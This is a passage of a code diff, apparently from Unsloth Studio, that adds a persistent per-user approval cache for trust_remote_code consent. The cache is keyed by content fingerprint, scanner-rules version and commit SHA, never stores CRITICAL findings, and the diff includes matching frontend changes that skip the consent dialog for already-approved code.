remote_code_approvals.record( + subject, + remote_code_approvals.approval_target_key(targets), + commit_sha = remote_code_approvals.resolve_combined_sha(targets, hf_token), + fingerprint = fingerprint, + max_severity = sev, + scanner_version = remote_code_approvals.SCANNER_VERSION, + ) + return RemoteCodeDecision( primary, True, diff --git a/studio/backend/utils/security/remote_code_approvals.py b/studio/backend/utils/security/remote_code_approvals.py new file mode 100644 index 0000000000..ee38ddec6f --- /dev/null +++ b/studio/backend/utils/security/remote_code_approvals.py @@ -0,0 +1,247 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persistent, per-user trust_remote_code approval cache. + +Remembers a user's explicit approval so the consent gate can skip only the DIALOG on a +later load of the SAME unchanged code. The gate ALWAYS re-scans (the cache never skips the +scan), so CRITICAL is hard-blocked every time and a hand-edited store cannot auto-approve +malicious code. Keyed per subject; honored only when the content fingerprint matches AND +the scanner-rules version matches AND (when resolvable) the commit SHA matches. CRITICAL is +never stored or honored, and any store/SHA error degrades to "ask again", never auto-approve. +""" + +from __future__ import annotations + +import contextlib +import json +import os +import threading +from dataclasses import dataclass +from datetime import datetime, timezone +from typing import Optional + +from loggers import get_logger +from utils.paths import storage_roots +from utils.security.remote_code_scan import CRITICAL, SCAN_RULES_VERSION + +logger = get_logger(__name__) + +_SCHEMA_VERSION = 1 +_lock = threading.RLock() + +# Re-exported so the gate can compare a stored approval's ruleset to the live one. +SCANNER_VERSION = SCAN_RULES_VERSION + + +@dataclass +class StoredApproval: + commit_sha: Optional[str] + fingerprint: str + max_severity: Optional[str] + approved_at: str + scanner_version: int = 0 + + +def cache_disabled() -> bool: + return os.environ.get("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "").lower() in ("1", "true", "yes") + + +def _store_path(): + return storage_roots.studio_root() / "security" / "remote_code_approvals.json" + + +def _env_offline() -> bool: + return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get( + "TRANSFORMERS_OFFLINE", "" + ).lower() in ("1", "true", "yes") + + +def approval_target_key(targets) -> str: + """Stable key for the combined load unit (a LoRA pins adapter + base together), using + the same casing normalization as the fingerprint so identity never disagrees.""" + from utils.security.consent import _fingerprint_target_key + + keys = sorted(_fingerprint_target_key(t) for t in dict.fromkeys(targets) if t) + return "\x1f".join(keys) + + +def _load() -> dict: + """Parsed store, or an empty skeleton on any error (fail-safe = re-prompt).""" + try: + with open(_store_path()) as f: + data = json.load(f) + # Validate the shape, not just the version: a hand-edited ``subjects`` that is not a + # dict (e.g. ``[]``) would otherwise crash lookup/record instead of failing safe. + if ( + isinstance(data, dict) + and data.get("version") == _SCHEMA_VERSION + and isinstance(data.get("subjects"), dict) + ): + return data + except FileNotFoundError: + pass + except Exception as exc: + logger.warning("Could not read remote-code approvals (%s); ignoring", exc) + return {"version": _SCHEMA_VERSION, "subjects": {}} + + +def _save(data: dict) -> None: + """Atomic write (tmp + os.replace), best-effort 0600.""" + path = _store_path() + storage_roots.ensure_dir(path.parent) + tmp = path.parent / f".{path.name}.tmp-{os.getpid()}" + try: + with open(tmp, "w") as f: + json.dump(data, f, indent = 2) + try: + os.chmod(tmp, 0o600) + except OSError: + pass + os.replace(tmp, path) + except Exception as exc: + logger.warning("Could not write remote-code approvals (%s)", exc) + try: + tmp.unlink(missing_ok = True) + except OSError: + pass + + +@contextlib.contextmanager +def _file_lock(): + """Best-effort cross-process exclusive lock over the store. Inference/export/training + record approvals from separate subprocesses, so the in-process RLock is not enough: two + processes could each read the same JSON and clobber the other's entry on ``os.replace``. + Holding this around the read-modify-write serializes them. Degrades to a no-op if OS + locking is unavailable (the consequence is only an occasional extra prompt).""" + path = _store_path() + try: + storage_roots.ensure_dir(path.parent) + fd = os.open(str(path.parent / f"{path.name}.lock"), os.O_CREAT | os.O_RDWR, 0o600) + except Exception: + yield + return + try: + try: + if os.name == "nt": + import msvcrt + msvcrt.locking(fd, msvcrt.LK_LOCK, 1) + else: + import fcntl + fcntl.flock(fd, fcntl.LOCK_EX) + except Exception: + pass # locking unavailable; the thread lock still applies + yield + finally: + try: + if os.name == "nt": + import msvcrt + with contextlib.suppress(Exception): + msvcrt.locking(fd, msvcrt.LK_UNLCK, 1) + else: + import fcntl + fcntl.flock(fd, fcntl.LOCK_UN) + finally: + os.close(fd) + + +def lookup(subject: str, target_key: str) -> Optional[StoredApproval]: + """The stored approval for (subject, target_key), or None. A CRITICAL entry (e.g. a + hand-edited store) is refused so it can never seed an approval.""" + if not subject or cache_disabled(): + return None + with _lock: + subj = _load().get("subjects", {}).get(subject, {}) + entry = subj.get(target_key) if isinstance(subj, dict) else None + if not isinstance(entry, dict) or not entry.get("fingerprint"): + return None + if entry.get("max_severity") == CRITICAL: + return None + return StoredApproval( + commit_sha = entry.get("commit_sha"), + fingerprint = entry["fingerprint"], + max_severity = entry.get("max_severity"), + approved_at = entry.get("approved_at", ""), + scanner_version = entry.get("scanner_version", 0), + ) + + +def record( + subject: str, + target_key: str, + *, + commit_sha: Optional[str], + fingerprint: str, + max_severity: Optional[str], + scanner_version: int = SCANNER_VERSION, +) -> None: + """Persist a user's explicit approval. CRITICAL is never stored.""" + if not subject or not fingerprint or cache_disabled() or max_severity == CRITICAL: + return + with _lock, _file_lock(): + data = _load() + subjects = data.setdefault("subjects", {}) + subj = subjects.get(subject) + if not isinstance(subj, dict): # tolerate a hand-edited non-dict entry + subj = subjects[subject] = {} + subj[target_key] = { + "commit_sha": commit_sha, + "fingerprint": fingerprint, + "max_severity": max_severity, + "scanner_version": scanner_version, + "approved_at": datetime.now(timezone.utc).isoformat(), + } + _save(data) + + +def forget(subject: str, target_key: str) -> None: + """Drop an approval (e.g. the user declined / discarded the download).""" + if not subject: + return + with _lock, _file_lock(): + data = _load() + subj = data.get("subjects", {}).get(subject) + if isinstance(subj, dict) and subj.pop(target_key, None) is not None: + _save(data) + + +def clear() -> None: + """Test helper: drop the on-disk store.""" + with _lock: + try: + _store_path().unlink(missing_ok = True) + except OSError: + pass + + +def resolve_commit_sha(target: str, hf_token: Optional[str] = None) -> Optional[str]: + """Current HF commit SHA for *target*, or None (local path / offline / error). Resolved + fresh every call: the default branch is mutable, so a cached SHA could mask a moved repo + and reuse stale consent. None falls back to the authoritative fingerprint (never fail-open). + """ + from utils.paths import is_local_path + try: + if is_local_path(target) or _env_offline(): + return None + from huggingface_hub import HfApi + return HfApi().model_info(target, token = hf_token).sha + except Exception as exc: + logger.debug("Could not resolve commit sha for '%s': %s", target, exc) + return None + + +def resolve_combined_sha(targets, hf_token: Optional[str] = None) -> Optional[str]: + """Combined SHA over the primary targets; None if ANY is unresolvable. A cheap secondary + gate only -- the fingerprint (which also covers external auto_map repos) stays + authoritative, so a None here just falls back to the fingerprint, never weakens it.""" + from utils.security.consent import _fingerprint_target_key + + parts = [] + for target in dict.fromkeys(targets): + if not target: + continue + sha = resolve_commit_sha(target, hf_token) + if sha is None: + return None + parts.append(f"{_fingerprint_target_key(target)}={sha}") + return "\x1f".join(sorted(parts)) if parts else None diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py index 18e45511d0..797e1056f8 100644 --- a/studio/backend/utils/security/remote_code_scan.py +++ b/studio/backend/utils/security/remote_code_scan.py @@ -37,6 +37,11 @@ HIGH = "HIGH" MEDIUM = "MEDIUM" _SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2} +# Bump on any ruleset change (patterns, severities). A persisted approval records the version +# it was scanned under; the consent cache ignores older-ruleset approvals so the same bytes +# are re-scanned and re-shown instead of silently auto-approved. +SCAN_RULES_VERSION = 1 + # Configs that can carry an ``auto_map`` pointing at executable repo ``.py``. # ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the # same set (scanning only config.json/tokenizer would miss a custom-processor VLM). diff --git a/studio/frontend/src/features/security/api/remote-code-api.ts b/studio/frontend/src/features/security/api/remote-code-api.ts index 0e9a75cc0c..1ba0799add 100644 --- a/studio/frontend/src/features/security/api/remote-code-api.ts +++ b/studio/frontend/src/features/security/api/remote-code-api.ts @@ -39,6 +39,7 @@ interface RemoteCodeScanResponse { scan_created_repos?: string[]; unsafe_files?: Array<{ path?: string; level?: string }>; security_blocked?: boolean; + already_approved?: boolean; provider?: string | null; } @@ -94,6 +95,7 @@ export async function getRemoteCodeScan( (data.created_by_scan ? [data.model_name ?? modelName] : []), unsafeFiles, securityBlocked: Boolean(data.security_blocked), + alreadyApproved: Boolean(data.already_approved), provider: data.provider ?? null, }; } diff --git a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts index 68045559b3..a0580d5b93 100644 --- a/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts +++ b/studio/frontend/src/features/security/hooks/use-remote-code-consent.ts @@ -42,6 +42,7 @@ export async function confirmRemoteCodeIfNeeded({ scanCreatedRepos: [], unsafeFiles: [], securityBlocked: false, + alreadyApproved: false, provider: null, }; } @@ -52,6 +53,12 @@ export async function confirmRemoteCodeIfNeeded({ return true; } + // Already approved this exact code and nothing unsafe flagged: reuse without re-prompting. + if (scan.alreadyApproved && scan.unsafeFiles.length === 0 && !scan.securityBlocked) { + onApprove(scan.fingerprint); + return true; + } + const confirmed = await useRemoteCodeConsentDialogStore .getState() .requestConsent(scan); diff --git a/studio/frontend/src/features/security/types.ts b/studio/frontend/src/features/security/types.ts index 0c850c3bfe..42946903ac 100644 --- a/studio/frontend/src/features/security/types.ts +++ b/studio/frontend/src/features/security/types.ts @@ -43,5 +43,7 @@ export interface RemoteCodeScan { scanCreatedRepos: string[]; unsafeFiles: UnsafeFile[]; // files HF flagged unsafe; non-empty => hard block securityBlocked: boolean; // blocked specifically by the malware gate + // This user already approved this exact code (same commit + fingerprint): skip the dialog. + alreadyApproved: boolean; provider: string | null; // HF org for the "from " tag; null when unattributable }